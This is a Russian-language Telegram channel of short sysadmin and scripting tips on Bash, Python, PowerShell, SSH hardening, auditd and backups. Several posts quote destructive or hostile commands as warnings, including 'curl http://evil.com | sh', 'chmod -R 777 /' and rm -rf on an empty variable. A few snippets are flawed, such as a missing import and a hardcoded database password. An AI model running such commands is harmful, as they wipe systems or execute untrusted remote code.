Helcode | Хелкод | Скрипты и автоматизация
993 subscribers
52 photos
34 links
☎️ Контакты для связи: @helcodeadm
Download Telegram
Как мой скрипт удалил продакшен

Анти-кейс:
# Очистка логов (казалось бы...)
rm -rf $LOGS_DIR/*


Что пошло не так:
- Переменная LOGS_DIR оказалась пустой → удалил /
- Сервер упал через 2 секунды

Как починили:
1. Резервные копии (спасибо, rsync!)
2. Добавили проверки:
[[ -z "$LOGS_DIR" ]] && { echo "Error: LOGS_DIR is empty!"; exit 1; }


Ваши самые эпичные фейлы?

🌐 @automate_today | #bash
👍3😁2
⚙️ Полезная фича VSCode

🛠️ Речь о: SSH + VSCode Remote для редактирования файлов на сервере прямо из IDE

Как настроить:
1. Установите расширение Remote - SSH
2. Добавьте сервер через F1 → Remote-SSH: Add New Host
3. Редактируйте файлы как локальные

📌 Фишки:
- Автодополнение кода на удаленном сервере
- Запуск терминала прямо в VSCode
- Нет риска "а вдруг я изменю продакшен?" (подсветка окружения)

Какие инструменты вы открыли для себя слишком поздно?

🌐 @automate_today
👍5
Скрипт, который поможет избежать рутины

Автоматизация онбординга новых сотрудников:
1. Создает учетки в AD/GitLab
2. Генерирует пароли и сохраняет в 1Password
3. Отправляет приветственное письмо

Код (упрощенный):
def onboard_employee(name, email):
create_ad_account(name)
setup_gitlab_access(email)
send_welcome_email(name, temp_password)


Эффект:
- Время онбординга ↓ с 3 дней до 1 часа
- HR перестали беспокоить по каждой мелочи

Какие процессы в вашей компании кричат об автоматизации?

@automate_today | #python
3👍1
Почему SSH в большинстве ситуаций — дырявое ведро

Типичные ошибки:
1. Парольная аутентификация вместо ключей
2. Порт 22 открыт для всех IP
3. Нет fail2ban

Как исправить:

# /etc/ssh/sshd_config:
PasswordAuthentication no
AllowUsers yourname
Port 49281 # Свой порт вместо 22


Проверка:
ssh-audit your-server.com


Какие ещё уязвимости SSH Вы знаете?

🌐 @automate_today | #bash
💯3
3 скрипта для личной эффективности

1. Автодеплой резюме на GitHub Pages
#!/bin/bash
cd ~/resume && git pull && mkdocs build && git push

2. Еженедельный бэкап Notion
import notion_client  # API Notion
client = notion_client.Client(auth=os.environ["NOTION_TOKEN"])
page = client.get_page("your-page-id")
with open("backup.json", "w") as f:
f.write(json.dumps(page))

3. Скрипт "Напомни мне потом" для Telegram
import schedule, time
def send_reminder():
bot.send_message(chat_id, "Проверить задачу!")
while True:
schedule.run_pending()
time.sleep(60)


🌐 @automate_today | #bash #python
👍2
Лень — двигатель прогресса: почему ленивые админы эффективнее

Знакомо?
Тратите часы на рутинные задачи, которые можно выполнить за минуты.

Философия ленивого админа:
Инвестируй 2 часа в скрипт → сэкономишь 100 часов в будущем.
Стандартизация = меньше ошибок (скрипт не устанет и не опечатается).
Повторное использование — один скрипт может работать годами.

Пример:
Вместо ручного деплоя (30 мин) — скрипт на 10 строк, который делает всё за 2 минуты.
#!/bin/bash
APP_NAME=${1:-myapp}
logger -t deploy "Запуск деплоя $APP_NAME"
if ! deploy_tool --app "$APP_NAME"; then
echo "Ошибка! Читайте логи: /var/log/deploy.log"
exit 1
fi

Какие задачи вы автоматизировали и сколько времени сэкономили?

🌐 @automate_today | #bash
💯41🆒1
Ручной мониторинг — это каменный век?

Ручная проверка серверов и логов — как разжигать костёр вместо микроволновки. Если вы до сих пор:
- Вручную проверяете логи
- Отслеживаете доступность сервисов
- Реагируете на алерты через почту

…пора переходить на автоматизацию!

Почему скрипты?
✔️ Гибкость — кастомизация под любые нужды
✔️ Простота — запустил в cron и забыл
✔️ Самовосстановление — скрипт не только находит проблему, но и может её исправить

🌐 @automate_today
👍3
Интеграция с Telegram — 3 способа отправки алертов

Хотите получать уведомления в Telegram? Вот как это сделать:

Через curl (Bash):
curl -s -X POST "https://api.telegram.org/botTOKEN/sendMessage" \  
-d "chat_id=ID&text=Сервер перегружен!"



Через Python (requests):
requests.post(f"https://api.telegram.org/botTOKEN/sendMessage",  
json={"chat_id": "ID", "text": "Внимание: диск почти заполнен!"})



Готовый бот (напр., python-telegram-bot):
from telegram import Bot  
bot = Bot(token="TOKEN")
bot.send_message(chat_id="ID", text="Служба перезапущена!")



Бонус: Можно добавить кнопки для быстрых действий!

👉 Если интересна тема ботов - пишите в комментарии, будем делиться информацией!


🌐 @automate_today | #bash #python
👍2
Введение в auditd — ваш надёжный страж в Linux

Зачем нужен аудит в Linux?

Без мониторинга активности сервер — как дом с открытыми дверями. Auditd записывает каждое действие:
- Кто использовал sudo?
- Какие команды выполнялись (rm -rf, доступ к /etc/shadow)?
- Кто менял критичные файлы?

Пример угроз:
- Несанкционированный доступ к /etc/passwd.
- Подозрительные команды от рута.
- "Темная" активность перед падением сервера.

Решение: auditd + Python-скрипт для алертов

Установка:
sudo apt install auditd -y  # Debian/Ubuntu
sudo systemctl enable --now auditd


🌐 @automate_today | #bash
👍2
Мониторим команды пользователей: кто что запускал?

Как логировать ВСЕ команды в bash?

1. Правило для auditd:

   -w /bin/bash -p x -k shell_commands



2. Пример лога:

   type=EXECVE msg=... comm="bash" cmd="rm -rf /tmp/test"



3. Как искать подозрительное:

   sudo ausearch -k shell_commands | grep "rm -rf"



Важно:
- Это создаст много логов — настройте ротацию в /etc/audit/auditd.conf.


🌐 @automate_today | #bash
👍5
pip freeze > requirements.txt — почему это ошибка новичка?

Вы только что закончили проект, радостно делаете pip freeze > requirements.txt и отправляете его в прод. А потом… всё ломается. Почему? Потому что pip freeze выводит все зависимости, включая косвенные, и их точные версии.

Как надо:
# Используйте pip-tools для чистого requirements.txt
pip install pip-tools
pip-compile requirements.in # Создаёт requirements.txt только с нужными пакетами



- В requirements.in вы указываете только основные зависимости (например, Django>=4.0).
- pip-compile добавляет транзитивные зависимости, но с разумными ограничениями версий.
- В проде используйте pip-sync, чтобы удалить лишние пакеты.

Кто-нибудь использует poetry или conda вместо pip? Какой ваш workflow для управления зависимостями?

pip freeze — это как отправить в прод всю кухню, включая шеф-повара и его кота.


🌐 @automate_today | #bash
👍3🔥3
Почему 90% API-клиентов написаны неправильно?

Ваш скрипт падает, когда API отвечает 429 или зависает. Происходит это из-за отсутствия обработки ошибок, а также из-за необходимости учитывать rate-limiting.

Решение:

import requests
from tenacity import retry, stop_after_attempt, wait_exponential

@retry(
stop=stop_after_attempt(3),
wait=wait_exponential(multiplier=1, min=2, max=10),
retry=retry_if_exception_type(requests.exceptions.RequestException)
)
def fetch_data(url):
response = requests.get(url, timeout=5)
response.raise_for_status() # Проверяет 4xx/5xx
return response.json()



- tenacity — библиотека для retry-логики.
- timeout обязателен, иначе запрос может висеть вечно.
- raise_for_status() бросает исключение при ошибках HTTP.

Как вы обрабатываете API-ошибки? Используете ли circuit breakers (например, `pybreaker`)?

API без retry — это как дверь без ручки: стучать можно, но войти не получится.


🌐 @automate_today | #python
👍2
Почему Write-Host — это мусор?

Вы пишете Write-Host "Hello, world!", а потом не можете перенаправить вывод в файл или передать в конвейер. Потому что Write-Host не возвращает данные, а просто печатает в консоль.

Как правильно:
# Используйте Write-Output для передачи данных
Write-Output "Hello" | Out-File log.txt

# Или Start-Transcript для полного логирования
Start-Transcript -Path "session.log"



- Write-Output отправляет объекты в конвейер.
- Start-Transcript записывает весь сеанс PowerShell.

Кто-нибудь использует Write-Verbose или Write-Debug? Поделитесь примерами!

Write-Host — это как кричать в пустоту. А Write-Output — как оставить записку для будущего себя.

🌐 @automate_today | #powershell
👍4
Как парсить JSON без боли?

Вы парсите JSON в PowerShell через ConvertFrom-Json, но он медленный и неудобный для сложных структур.

Решение:
# Если нужна скорость — используйте Newtonsoft.Json
Install-Package Newtonsoft.Json -Force
$json = '{"name": "DeepSeek", "version": "1.0"}'
[Newtonsoft.Json.Linq.JObject]::Parse($json).GetValue("name")



- ConvertFrom-Json удобен, но медленный на больших файлах.
- Newtonsoft.Json (он же Json.NET) — быстрее и мощнее.

Кто-нибудь использует System.Text.Json в PowerShell? Есть ли преимущества?

ConvertFrom-Json — это как разбирать JSON ножницами. ✂️ Newtonsoft.Json — как бензопилой. 🔥


🌐 @automate_today | #powershell
👍4
Почему `[ ]` — это устарело?

Вы пишете if [ $a -eq 1 ], но это медленно, небезопасно и не поддерживает современные фичи.

Решение:

# Вместо [ ] используйте [[ ]] для строк и (( )) для чисел
if [[ "$str" == *"подстрока"* ]]; then
echo "Найдено!"
fi

if (( num > 10 )); then
echo "Число больше 10"
fi



- [[ ]] безопаснее (не требует кавычек), быстрее и мощнее.
- (( )) — для арифметики.

Кто-нибудь использует `case` вместо `if`? Покажите примеры!

`[ ]` — это как телефон с кнопками.
А `[[ ]]` — как смартфон. 📱


🌐 @automate_today | #bash
👍41
Почему cron — это не всегда надежно?

Вы поставили задачу в cron, но она не выполнилась, потому что сервер спал или время сбилось.

Альтернативы:
# systemd.timer (для Linux)
[Unit]
Description=Run my script every day

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target



- systemd.timer учитывает пропущенные запуски (Persistent=true).
- anacron — для ноутбуков (не требует 24/7 работы).

Кто-нибудь использует airflow или celery beat для сложного планирования?

cron — это будильник, который не звонит, если вы спите.

🌐 @automate_today | #bash
👍41
5 способов сломать продакшен Bash-скриптом (и как этого избежать)

🦾 Bash — мощный, но опасный инструмент. Одна опечатка — и ваш скрипт удалит логи вместо их ротации, положит сервер или отправит спам всей компании.

Примеры катастроф:
rm -rf / ${SOME_VARIABLE}/   # Если $SOME_VARIABLE пуста, удалится корень  
chmod -R 777 / # Все файлы доступны всем (включая злоумышленников)
curl http://evil.com | sh # Запуск непроверенного кода из интернета



Как избежать:
- set -euo pipefail — прерывать скрипт при ошибках.
- Всегда проверять переменные: rm -rf "${DIR:?}/logs".
- Тестировать в песочнице (Docker, виртуалка).

А у вас были эпичные падения из-за Bash?

🌐 @automate_today | #bash
👍4
Как переименовать 1000 файлов без циклов?

Циклы в Bash медленные. Если переименовываете кучу файлов — есть способ быстрее!

Решение:
# Переименовать все .txt в .md  
rename 's/\.txt$/.md/' *.txt

# Или через mmv (если нет rename):
mmv "*.old" "#1.new"



- rename и mmv работают за один вызов, а не тысячу.
- Нет риска "зацикливания" из-за ошибки в условиях.

Какие ещё хитрости для работы с файлами используете?

Если ваш скрипт переименовывает файлы дольше, чем создание вселенной — что-то не так.


🌐 @automate_today | #bash
🔥5
Скрипт для автоматического бэкапа MySQL

Ручные бэкапы — это как ходить по канату без страховки. Автоматизируем!

👩‍🔬 Решение:
#!/bin/bash  
BACKUP_DIR="/backups/mysql"
DATE=$(date +%Y%m%d)
mysqldump -u user -p"password" db_name | gzip > "$BACKUP_DIR/db_name_$DATE.sql.gz"

# Проверяем успешность и шлём алерт
if [ $? -eq 0 ]; then
echo "Backup OK" | sendmail admin@example.com
else
echo "Backup FAILED!" | sendmail admin@example.com
fi



🔧 Дополнения:
- Добавьте find $BACKUP_DIR -type f -mtime +30 -delete для удаления старых бэкапов.
- Используйте cron для запуска по расписанию.

Как вы организуете бэкапы? Храните на облаке или локально?

🌐 @automate_today | #bash
1👍1
Почему && лучше, чем ;?

command1; command2 выполнит обе команды, даже если первая упала. && — только если первая успешна.

🛠 Пример:
cd /nonexistent_dir && rm -rf *  # Удаление не сработает (и это хорошо!)  



Где ещё полезно:
- make && make test — не запускать тесты, если сборка провалилась.
- git pull && npm install — не ставить зависимости, если обновление репы не удалось.

Какие ещё операторы в Bash вы часто используете?

Использовать ; вместо && — это как прыгать с парашютом, не проверив, есть ли он за спиной.


🌐 @automate_today | #bash